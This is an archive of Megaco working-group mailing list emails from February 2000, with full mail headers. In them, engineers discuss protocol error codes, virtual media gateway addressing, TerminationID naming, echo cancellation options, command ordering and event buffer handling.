and Transaction Pending.=A0 This could go on and on...     

    [[TomT]]  Well, we certainly wouldn't =
want that.  It may be the right answer is that errors in responses =
are ignored.  As I said in my note to Christian, that will cut =
down on the error code list.  Alternatively we have to have some =
message type to which responses are forbidden.
    

      

      =A0
      
>
      
> 402 - Unauthorized
      
>=A0=A0=A0=A0=A0=A0=A0=A0 The originator of a command is not =
authorized to execute that
      
> command for the termination(s) affected by it.=A0 [For messages =
failing
      
> authentication, what is our procedure? ]
      
[CHG] OK
      
=A0      

      

    

    I don't know about replying to authentication =
failure.=A0 This would just help an attack on MG or MGC
    
by making it responses to this message.     

    [[TomT]]  My thought too.

    

      

      =A0
      
      

    

    [[TomT]]  ...

      

      > *448 - Descriptor appears twice in a =
command
      
[CHG] OK      

      

    

    except for error descriptor??? 

    [[TomT]]  Good point -- have to add =
that

    

      

      > 503 - Service Unavailable
      
>=A0=A0=A0=A0=A0=A0=A0=A0 [What service???=A0 Likely conditions are =
covered by other error
      
> codes]
      
>      

      

    

    Is this for trying to Add, modify a termination =
that is out of service? 

    [[TomT]]  Don't think so as it is =
phrased, but we probably should rephrase to cover that case.  We =
figured out here that it has to be possible to modify an out of service =
termination so that it can be put into a test state for running tests =
prior to restoration.
    
=A0 

    

      

      =A0
      
> 521 - Termination is "ServiceChangeing"
      
>=A0=A0=A0=A0=A0=A0=A0=A0 [Inapplicable if we get rid of Graceful =
ServiceChange for
      
> terminations.]
      
[CHG] This should stay.      

      

    

    Are there talk about getting rid of Graceful =
ServiceChange for terminations?
    
The text said that the termination service state is changed from =
in-service to test while being
    
ServiceChange w/Graceful.
    
Can we line this 2 up with one phrase - ServiceChanging or test? =
    

    [[TomT]]  

    Still sorting it =
out.  Must get the whole story out -- maybe tomorrow =
morning.

    =A0

    




------_=_NextPart_001_01BF75A5.9DFE8520--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb 12 17:14:35 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27182
	for ; Sat, 12 Feb 2000 17:14:35 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.39663FA0@standards.nortelnetworks.com>; Sat, 12 Feb 2000 17:11:38 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 44179 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 12 Feb 2000 17:10:19 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.09B27CB0@standards.nortelnetworks.com>; Sat, 12 Feb 2000
          17:10:18 -0500
Received: from zmers013 by smtprch1.nortel.com; Sat, 12 Feb 2000 16:12:48 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Sat, 12
          Feb 2000 17:12:43 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF7DHQ>; Sat, 12 Feb 2000 16:12:41 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF75A6.46DC93A8"
Message-ID:  
Date:         Sat, 12 Feb 2000 16:12:41 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Errors and Error Codes
X-To:         Abdallah Rayhan 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF75A6.46DC93A8
Content-Type: text/plain

Thanks for the history -- I suspected as much.  There was a small debate on
the list around a Cisco point, rerquesting return codes rather than error
codes.  The consensus as I see it is that Megaco passes error codes only --
the general response mechanism is defined by the syntax of Transaction
Reply.  Hence it is more appropriate to use the full numbering space
starting from 000.

> -----Original Message-----
> From: Rayhan, Abdallah [CAR:5N00:EXCH]
> Sent: Friday, February 11, 2000 4:38 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Errors and Error Codes
>
> "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
>
>       Could someone explain the logic behind the assignment of these
> codes?  Why
>       start at 400? -- our numbering space is only 000 to 999 and it
> doesn't seem
>       right to waste half of it.
>
> Very well! It is an error reporting de facto that is used in several
> protocols.
> The only documentation I am aware of is reported in HTTP1.1 RFC 2616.
> I dont know where else or the origin but here is the documentation,
>
>
>       The first digit of the Status-Code defines the class of response.
> The
>       last two digits do not have any categorization role. There are 5
>       values for the first digit:
>
>             - 1xx: Informational - Request received, continuing process
>
>             - 2xx: Success - The action was successfully received,
>               understood, and accepted
>
>             - 3xx: Redirection - Further action must be taken in order to
>               complete the request
>
>             - 4xx: Client Error - The request contains bad syntax or
> cannot
>               be fulfilled
>
>             - 5xx: Server Error - The server failed to fulfill an
> apparently
>               valid request
>
> Hope that helps,
>
> Abdallah

------_=_NextPart_001_01BF75A6.46DC93A8
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Errors and Error Codes




Thanks for the =
history -- I suspected as much.  There was a small debate on the =
list around a Cisco point, rerquesting return codes rather than error =
codes.  The consensus as I see it is that Megaco passes error =
codes only -- the general response mechanism is defined by the syntax =
of Transaction Reply.  Hence it is more appropriate to use the =
full numbering space starting from 000.


    

    -----Original Message-----

    From:   Rayhan, Abdallah [CAR:5N00:EXCH] 

    Sent:   Friday, February 11, 2000 4:38 PM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Re: Errors and Error Codes

    


    "Taylor, Tom-PT (P.T.) =
[EXCHANGE:CAR:B904]" wrote: 

    

      

      Could someone explain the logic behind the =
assignment of these codes?=A0 Why
      
start at 400? -- our numbering space is only 000 to 999 and it doesn't =
seem
      
right to waste half of it.      

      

    

    Very well! It is an error reporting de facto =
that is used in several protocols.
    
The only documentation I am aware of is reported in HTTP1.1 RFC =
2616.
    
I dont know where else or the origin but here is the documentation,
    
=A0     

    

      

      The first digit of the =
Status-Code defines the class of response. The
      
last two digits do not have any categorization role. There are 5
      
values for the first digit:
      

      
=A0=A0=A0=A0=A0 - 1xx: Informational - Request received, continuing =
process
      

      
=A0=A0=A0=A0=A0 - 2xx: Success - The action was successfully =
received,
      
=A0=A0=A0=A0=A0=A0=A0 understood, and accepted
      

      
=A0=A0=A0=A0=A0 - 3xx: Redirection - Further action must be taken in =
order to
      
=A0=A0=A0=A0=A0=A0=A0 complete the request
      

      
=A0=A0=A0=A0=A0 - 4xx: Client Error - The request contains bad syntax =
or cannot
      
=A0=A0=A0=A0=A0=A0=A0 be fulfilled
      

      
=A0=A0=A0=A0=A0 - 5xx: Server Error - The server failed to fulfill an =
apparently
      
=A0=A0=A0=A0=A0=A0=A0 valid request      

      

    

    Hope that helps, 

    


    Abdallah

    




------_=_NextPart_001_01BF75A6.46DC93A8--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb 12 17:18:40 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27208
	for ; Sat, 12 Feb 2000 17:18:40 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C99AE7B0@standards.nortelnetworks.com>; Sat, 12 Feb 2000 17:15:40 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 44204 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 12 Feb 2000 17:13:42 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.830C5040@standards.nortelnetworks.com>; Sat, 12 Feb 2000
          17:13:42 -0500
Received: from zmers013 by smtprch1.nortel.com; Sat, 12 Feb 2000 16:16:21 -0600
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by zmers013; Sat, 12
          Feb 2000 17:16:07 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1NWN868Z>; Sat, 12 Feb 2000 17:16:08 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
Message-ID:  
Date:         Sat, 12 Feb 2000 17:16:05 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Virtual MGs
X-To:         "Rupsis, Paul" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I'll be rash and say that the default ports apply only on the MGC side.  The
MGC has to send responses back to where the requests came from.  Your point
is valid to the extent that we should add text saying that a virtual MG MUST
set the ServiceChangeMgcId when registering with UDP/ALF, but maybe that
isn't even necessary.  (Have to check 7.2.8 and other sections.)

> -----Original Message-----
> From: Rupsis, Paul [SMTP:Paul.Rupsis@DIALOGIC.COM]
> Sent: Friday, February 11, 2000 4:42 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Virtual MGs
>
> I would like to ask for clarification on addressing
> Virtual MGs. The attached thread indicates that
> multiple ports would be needed when using IP
> transport.
>
> In addition, Section 11.1 states "A physical MG may
> have only one network interface, which must be shared
> across virtual MGs."
>
> Given that only 1 port has been reserved for
> Megaco (2944 for text-based protocol), how can multiple
> virtual MGs be addressed? Or do I assume that v1 of Megaco
> supports N Virtual MGs (N=1)?
>
> Thanks,
>
> Paul Rupsis
> Dialogic, an Intel Company
>
>
>
> -----Original Message-----
> From: Brian Rosen [mailto:brosen@ENG.FORE.COM]
> Sent: Thursday, November 04, 1999 4:14 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: MG-MGC control interface
>
>
> You would have a separate port for each association.
>
> The thing now called ServiceChangeAddress would specify it
> if necessary.
>
> > -----Original Message-----
> > From: Petros N. Mouchtaris [mailto:pmouchta@TELCORDIA.COM]
> > Sent: Thursday, November 04, 1999 9:27 AM
> > To: MEGACO@standards.nortelnetworks.com
> > Subject: Re: MG-MGC control interface
> >
> >
> > Brian,
> > The previous answer you gave (mId) could work but it would
> > not be pretty.
> > The new answer you are giving would work too but it will not
> > be pretty either.
> >
> > How will the MGC and MG know which port corresponds to which MG?
> > Are you planning to reserve more than one well known port for
> > the protocol?
> >
> > Petros
> >
> >
> >
> >
> >
> > Brian Rosen  on 11/03/99 08:17:11 PM
> >
> > Please respond to Brian Rosen 
> >
> > To:   MEGACO@standards.nortelnetworks.com
> > cc:    (bcc: Petros N. Mouchtaris/Telcordia)
> > Subject:  Re: MG-MGC control interface
> >
> >
> >
> >
> > Sorry I confused you.  You are correct. I must have been
> > asleep; this issue
> > was raised and answered before.
> >
> > The transport differentiates the streams.  Using IP
> > transport, for example,
> > each flow is on a different port.  Using ATM transport with
> > SSCOP, each
> > stream is a different VC.
> >
> > Brian
> >
> >
> > > -----Original Message-----
> > > From: Giuseppe Ricagni [mailto:giuseppe.ricagni@italtel.it]
> > > Sent: Wednesday, November 03, 1999 10:31 AM
> > > To: Brian Rosen
> > > Cc: MEGACO@standards.nortelnetworks.com
> > > Subject: Re: MG-MGC control interface
> > >
> > >
> > > Sorry Brian, but now I' m confused too.
> > >
> > > Brian Rosen wrote:
> > >
> > > > > By the way, how does a virtual MG know that a message coming
> > > > > from the MGC is
> > > > > destined
> > > > > for this virtual MG? I assume that messages to all virtual
> > > > > MGs in the same
> > > > > physical MG go to the
> > > > > same IP address. The MGC IP address can be used as a way to
> > > > > route messages to
> > > > > the right
> > > > > virtual MG provided that the list of MGC for each virtual MG
> > > > > are mutually
> > > > > exclusive.
> > > > Actually it's more complicated than that, since, at least in
> > > > theory, the same MGC could control multiple virtual MGs on
> > > the same physical
> > > > MG.
> > > >
> > > > The answer is that the mId of the message would be unique
> > > for each virtual
> > > > MG.  That implies you have something like
> > > > aliases in your DNS.
> > > >
> > >
> > > In section 8.3 I read "Messages have a header, which includes
> > > the identity of
> > > the sender. The Message Identifier (MID) of a message is set
> > > to a provisioned
> > > name (e.g. domain address/domain name/device name) of the
> > > entity transmitting
> > > the message."
> > >
> > > The mId identifies the sender' s (MGC) name, and not the
> > > target name (MG),
> > > doesn' t it ?
> > > Do we assume that we need multiple "virtual MGCs" to cater
> > > for virtual MGs ?
> > >
> > >
> > > Best Regards
> > > Giuseppe Ricagni
> > >
> > >
> > >
> > > --
> > > ----------------------------------------------------------
> > > Giuseppe RICAGNI
> > > System Architecture and Product Planning
> > > Broadband Networks
> > > Italtel
> > > via Reiss Romoli - C10
> > > 20019 Castelletto di Settimo Milanese (MILANO)
> > > ITALY
> > >
> > > mailto:giuseppe@ricagni.it
> > > ----------------------------------------------------------
> > >
> > >
> > >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Feb 13 03:56:47 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04448
	for ; Sun, 13 Feb 2000 03:56:47 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.DB1FF280@standards.nortelnetworks.com>; 13 Feb 2000 3:03:08 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 44597 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 13 Feb 2000 03:01:45 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.A9457F00@standards.nortelnetworks.com>; 13 Feb 2000 3:01:45 -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          AAA23672; Sun, 13 Feb 2000 00:04:12 -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
References: 
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000212150115.00ab9cf0@localhost>
Date:         Sat, 12 Feb 2000 15:02:37 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: How does a TerminationID look like
X-To:         Abdallah Rayhan 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <38999606.5B381970@americasm01.nt.com>

I believe we have been through this issue before.   The current text is the
result of the discussion on that issue.  While it isn't what I wanted, it
is what the group agreed on and I believe it should stand.


Chip

At 09:51 AM 2/3/00 -0500, Abdallah Rayhan wrote:
>
>I think name standardization of TerminationIDs is something we should purse.
>It will eliminate confusion and lay the ground for wider cross-vendor
>interoperability.
>
>Abdallah Rayhan
>
>"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
>>
>>
>>We have avoided standardizing termination IDs.  A couple of people have
>>suggested that their gateways will have a hardcoded terminationID format,
>>but this should be vendor-specific: configurations will vary between
>>vendors.  If we really want to get into standardization of naming, I know
>>a bunch of M- and G-series ITU-T Recommendations which will provide a
>>starting point on the digital facility side.  Bottom line: above the MG
>>you should assume that termination IDs will be arbitrary collections of
>>characters.
>>
>>The SG (Signalling Gateway), if involved in the call, needs a table
>>mapping between {OPC,DPC,CIC} and MGC.  The MGC needs a table mapping
>>between {OPC,DPC,CIC} and {MG,terminationID}.  The MGC also needs routing
>>tables on the TDM side to map from routes to the {MG,terminationID} pairs
>>that make up those routes.
>>-----Original Message-----  From:   Singaravelan Singaraselvan
>>[SMTP:Singaravelan_Singaraselvan@MW.3COM.COM]  Sent:   Wednesday,
>>February 02, 2000 12:41
>>PM  To:     MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:        How does
>>a TerminationID look like
>>
>>Hi all,
>>
>>   I would like to know, an example for a Termination Id when the input
>> is a T1  Trunk.
>>
>>   Because we need to map the ISUP data namely OPC, DPC and CIC to a
>> Termination  ID.
>>
>>   Thanks,    Singar/..

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Feb 13 03:56:48 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04450
	for ; Sun, 13 Feb 2000 03:56:47 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.DB6782D0@standards.nortelnetworks.com>; 13 Feb 2000 3:03:09 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 44602 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 13 Feb 2000 03:01:57 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.B0228BB0@standards.nortelnetworks.com>; 13 Feb 2000 3:01:56 -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          AAA23675; Sun, 13 Feb 2000 00:04:22 -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000212174345.00aac580@localhost>
Date:         Sat, 12 Feb 2000 17:49:32 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: E.13.1 echo cancellation
X-To:         Nancy-M Greene 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

At 02:41 PM 2/9/00 -0600, Nancy-M Greene wrote:

>Hi Roy,
>G.165/G.168 is one option, and G.164 is a second option (or you choose to
>simply put echo cancellation "on", or you turn it off with "off"), but you
>never have more than one of these options. G.164 is there as an "older
>version" of echo cancellation, for backwards compatible reasons. We could
>change the text explaining ec to be as you say, echo cancellation/echo
>suppression, but I don't know whether it is worth it.

I don't know why anyone would build a MG with a G.164 echo suppressor.
G.165 has been out for ages.
My vote is to have ec equal ON or OFF and provide text that states that
this parameter is used to control echo cancellers and older echo
suppressors.  Or better yet, call it echo control.  It looks like you want
a way to turn on echo control and then let it be disabled in-band.  It
would then need a third option of STAYON.


>Nancy
>-------
>Nancy M. Greene
>Internet & Service Provider Networks, Nortel Networks
>T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com
>----------  From:   Roy
>Spitzer[SMTP:rspitzer@TELOGY.COM]  Sent:   Wednesday, February 09, 2000
>2:11 PM  To:     MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:        Re:
>E.13.1 echo cancellation
>
>Nancy,
>
>There seems to be a terminology problem here.  G.165 and G.168 are
>echo  cancellation algorithms.  G.164 is an echo suppressor algorithm.  In
>general  echo cancellators are better than echo suppressors.  Only older
>style  equipment uses echo suppressors and it only works well for half
>duplex  communications.  If ec were defined as echo cancellation/echo
>suppression,  the text is correct.  There does not appear to be an
>application where echo  suppression and echo cancellation would be
>simultaneously active.
>
>Regards,  Roy
>
>Roy Spitzer                              Telogy Networks  Phone:
>301-515-6531                20250 Century
>Blvd.  FAX:    301-515-7954                Germantown, MD
>20874  email:  rspiter@telogy.com
>
>-----Original Message-----  From: Nancy-M Greene
>[mailto:ngreene@NORTELNETWORKS.COM]
>Sent: Thursday, February 03, 2000 10:53 AM  To:
>MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject: E.13.1 echo cancellation
>
>
>
>Errata in v14 E.13.1:  Instead of just allowing Echo Cancellation to
>be  "on", or "off", we need to  allow these possibilities:
>
>Permanently enabled: "on"  Permanently disabled: "off"  Enabled but
>conformant to G.165/G.168: "g165"  Enabled but conformant to G.164: "g164"
>
>Default is "g165".
>
>Here is the text to be changed in E.13.1 (in blue, if you see it):
>
>E.13.1  Properties  Echo Cancellation
>
>         PropertyID: ec (0x0008)  By default, the telephony gateways
> always perform echo cancellation  according to  G.165/G.168. However, it
> is necessary, for some calls, to turn off these  operations.  Type:
> enumerated  Possible Values:
>
>         "on" (when the echo cancellation is permanently enabled and
> will  disregard any  incoming tones)  "g165" (when ec is according to
> G.165/G.168: ec is on, but will turn  itself off when it sees a 2100Hz
> tone with phase reversal (i.e. a CED fax  tone, or an  ANS modem
> tone)  "g164" (when ec is according to G.164)  "off" (when it is turned
> off.)  The default is "g165".
>
>         Defined In: LocalControlDescriptor          Characteristics:
> read/write
>
>Nancy
>
>--------------------------------------------------------------------------
 > Nancy M. Greene  Internet & Service Provider Networks, Nortel
>Networks  T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Feb 13 03:56:48 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04457
	for ; Sun, 13 Feb 2000 03:56:48 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0E9DB8F0@standards.nortelnetworks.com>; 13 Feb 2000 3:33:13 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 44653 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 13 Feb 2000 03:31:24 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.CD8DD6B0@standards.nortelnetworks.com>; 13 Feb 2000 3:31:24 -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          AAA24671; Sun, 13 Feb 2000 00:33:51 -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000213031301.00a2fee0@localhost>
Date:         Sun, 13 Feb 2000 03:17:50 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Section 9.1
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4FBEA8857476D311A03300204840E1CF20893A@whq-msgusr-02.fore. com>

I think that it should probably refer to a termination.  Of course, there
are many places where a MGC can shoot itself in the foot by doing the wrong
thing (e.g., issuing Move then Add as you mention below).
Chip
At 03:08 PM 2/11/00 -0500, Rosen, Brian wrote:
>Your suspicion as to how 9.1 came about is 100% correct.
>
>I am not so sure you can delete (2).  It does seem to me that
>if you have more than one Modify, for example, outstanding on
>a termination, you are order dependent, and thus this is not
>a recommended procedure.  Thinking through the context vs.
>termination issue, I believe that while in almost every case
>it is acceptable to limit to one command per termination, there
>are cases where it matters.  The easiest one I can think of
>is Add Move.  If done in the wrong order, the context could disappear.  This
>also breaks the second part of (2), doesn't it?
>
>Brian
>
>
> > -----Original Message-----
> > From: Chip Sharp [mailto:chsharp@cisco.com]
> > Sent: Friday, February 11, 2000 2:44 PM
> > To: MEGACO@standards.nortelnetworks.com
> > Subject: Section 9.1
> >
> >
> > In reviewing the comments on new Section 9.1 "Ordering of Commands" we
> > noticed that the text was somewhat confusing.  In particular,
> > we considered
> > the following item (2) to be incorrect since we thought that the
> > restriction to outstanding commands applied to Terminations,
> > not contexts.
> >
> > "2.  In a given Context, there should normally be at most one
> > outstanding
> > command (Add or Modify or Move).  However, a Subtract command
> > may be issued
> > at any time.  In consequence, a Media Gateway may sometimes receive a
> > Modify command that applies to a previously subtracted
> > Termination.  Such
> > commands should be ignored, and an error code should be returned."
> >
> > The proposal was to replace "Context" with "Termination".
> >
> > However, in further reading this section, many questions were
> > raised as to
> > whether things applied to commands, transactions, contexts, etc.
> >
> > In investigating the history of this section, I believe I
> > found the source
> > of confusion.  It looks like this text was cut-and-pasted
> > from the MGCP
> > draft (v1.05).  The problem is that after the paste, a global
> > replace was
> > done replacing "endpoint" with "termination" and "connection" with
> > "Context".  No other text seems to be modified.
> >
> > The problem is that the fundamental call model between MGCP
> > and megaco are
> > different and an "endpoint" is not equivalent to "termination" and
> > "context" is not equivalent with "connection".  Therefore,
> > the text in this
> > section is incorrect.
> >
> > We would like to correct this.   Possibly by deleting those parts that
> > don't make sense. (e.g., item 2).  Does anyone have major heartburn?
> >
> > Chip
> > Support NetAid!  http://www.netaid.org
> > --------------------------------------------------
> > Chip Sharp                 Consulting Engineering
> > Cisco Systems              Telco Bio-region
> > Reality - Love it or Leave it.
> > --------------------------------------------------
> >

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Feb 13 03:56:48 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04466
	for ; Sun, 13 Feb 2000 03:56:48 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C27E0050@standards.nortelnetworks.com>; 13 Feb 2000 3:38:15 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 44675 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 13 Feb 2000 03:36:29 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.8332FF90@standards.nortelnetworks.com>; 13 Feb 2000 3:36:28 -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id AAA24844
          for ; Sun, 13 Feb 2000 00:39:02
          -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Message-ID:  <4.2.2.20000213033245.00c91640@localhost>
Date:         Sun, 13 Feb 2000 03:36:49 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Event Handling updated
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id DAA04466

The following is in a TD submitted to SG16 based on the discussion on the 
megaco list.

In order to bring closure to the event handling discussion, the following 
changes are suggested to the event handling mechanism:

Change eventbufferflag to EventBufferControl and make enumerated instead of 
Boolean.  Define the following values

·    Off:  This is the present “Off” in TD33.

·    Process:  As “Off”, except when being loaded, all events in the event 
buffer will be processed according to the new EventsDescriptor rather than 
being discarded.  This emulates the "process" parameter as in Red Bank TD58.

·    LockStep: As “Process”, except that following any Notify, no 
subsequent Notifies will be issued until a new Events Descriptor is loaded. 
In the interim between the Notify and when a new Events Descriptor is 
loaded, any new events specified in the EventBuffer descriptor are 
buffered. Only one Notify is issued per loading of Events Descriptor.  This 
is the present “On” in TD33.  It also emulates the "Step-by-Step" parameter 
of TD58.

·    Gated: As Lockstep, except all events in the event buffer are first 
discarded upon loading. In other words, the event buffer is cleared and 
then LockStep operation is performed.

There was one more change suggested and that was the addition of an 
"Accumulate" flag in the EventsDescriptor per event.  This would tell the 
MG to accumulate that event in an accumulate list instead of notifying 
it.  It is felt that this can be added in later work on H.248 with the 
default of OFF if not included (to maintain backward compatibility.  In 
order to support experimental use of the Accumulate flag, it is proposed 
that extensions be allowed in the EventsDescriptor.

This proposal requires very little change to TD33.

The intention of these modifications are to bring event handling to closure 
in V1 and allow it to be enhanced in v2 if enhancement is needed.
Proposed Changes

Global:
Change EventBufferFlag to EventBufferControl throughout the document.


Modify Section 7.1.9 as follows:

3rd Paragraph,  modify as shown below (with change bars):

The MG shall send a Notify command to the MGC when it detects an event in 
the Events Descriptor.  If EventBufferControl is set to “LockStep”, 
following detection of such an event, normal handling of events is 
suspended, and any event found in the EventBuffer Descriptor which is 
subsequently detected is added to the end of a FIFO queue, along with the 
time that it was detected.   A command containing an Events Descriptor 
which is received  when the EventBufferControl is set to LockStep  causes 
the following sequence to be executed:
1.   The first event in the FIFO queue is examined.  If it is in the Events 
listed in the new events descriptor, the MG shall send a Notify command to 
the MGC and remove the event from the FIFO queue.  The time stamp of the 
Notify shall be the time the event was actually detected.
      2.   If the event is not in the new Events Descriptor, it shall be 
discarded.
      3.   If the queue is empty, the sequence shall be stopped, and normal 
event processing shall be resumed.  If there are any events remaining in 
the queue, the sequence repeats.


Modify Fourth paragraph as follows:

If EventBufferControl  is set to off when the new Events Descriptor is 
received, the queue is flushed, and no events are added to it.  The default 
